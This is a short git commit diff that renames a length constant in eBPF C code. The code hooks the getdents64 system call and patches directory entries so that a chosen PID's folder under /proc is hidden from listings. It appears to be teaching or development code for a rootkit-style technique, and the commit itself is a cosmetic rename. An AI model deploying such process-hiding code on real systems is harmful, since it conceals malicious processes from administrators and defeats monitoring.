This commit is contained in:
yunwei37
2024-02-27 16:32:51 +00:00
parent d9713792d8
commit 2705a4078b
7 changed files with 70 additions and 47 deletions

View File

@@ -6200,7 +6200,7 @@ const volatile int target_ppid = 0;
// of the PID to hide. This becomes the name
// of the folder in /proc/
const volatile int pid_to_hide_len = 0;
const volatile char pid_to_hide[max_pid_len];
const volatile char pid_to_hide[MAX_PID_LEN];
// struct linux_dirent64 {
// u64 d_ino; /* 64-bit inode number */
@@ -6268,7 +6268,7 @@ int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx)
struct linux_dirent64 *dirp = 0;
int pid = pid_tgid >> 32;
short unsigned int d_reclen = 0;
char filename[max_pid_len];
char filename[MAX_PID_LEN];
unsigned int bpos = 0;
unsigned int *pBPOS = bpf_map_lookup_elem(&map_bytes_read, &pid_tgid);
@@ -6342,7 +6342,7 @@ int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx)
bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen);
// Debug print
char filename[max_pid_len];
char filename[MAX_PID_LEN];
bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp_previous->d_name);
filename[pid_to_hide_len-1] = 0x00;
bpf_printk("[PID_HIDE] filename previous %s\n", filename);